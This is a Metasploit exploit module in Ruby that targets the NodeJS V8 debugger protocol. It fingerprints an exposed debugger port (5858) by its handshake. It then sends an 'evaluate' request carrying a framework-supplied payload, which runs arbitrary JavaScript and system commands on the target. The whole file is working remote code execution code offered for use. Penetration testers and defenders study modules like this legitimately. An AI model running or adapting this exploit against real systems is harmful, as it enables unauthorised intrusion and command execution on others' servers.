##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  MESSAGE_HEADER_TEMPLATE   = "Content-Length: %{length}\r\n\r\n"

  def initialize(info={})
    super(update_info(info,
      'Name'           => "NodeJS Debugger Command Injection",
      'Description'    => %q{
        This module uses the "evaluate" request type of the NodeJS V8
        debugger protocol (version 1) to evaluate arbitrary JS and
         call out to other system commands. The port (default 5858) is
        not exposed non-locally in default configurations, but may be
        exposed either intentionally or via misconfiguration.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
      'References'     =>
        [
          [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
          [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
        ],
      'Targets'        =>
        [
          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2016-08-15',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        Opt::RPORT(5858)
      ])
  end

  def make_eval_message
    msg_body = { seq: 1,
                 type: 'request',
                 command: 'evaluate',
                 arguments: { expression: payload.encoded,
                              global: true,
                              maxStringLength:-1
                            }
                }.to_json
    msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
    msg_header + msg_body
  end

  def check
    connect
    res = sock.get_once
    disconnect

    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
      vprint_status("Got debugger handshake:\n#{res}")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    connect
    # must consume incoming handshake before sending payload
    buf = sock.get_once
    msg = make_eval_message
    print_status("Sending #{msg.length} byte payload...")
    vprint_status("#{msg}")
    sock.put(msg)
    buf = sock.get_once

    if buf.include? '"command":"evaluate","success":true'
      print_status("Got success response")
    elsif buf.include? '"command":"evaluate","success":false'
      print_error("Got failure response: #{buf}")
    else
      print_error("Got unexpected response: #{buf}")
    end
  end

end
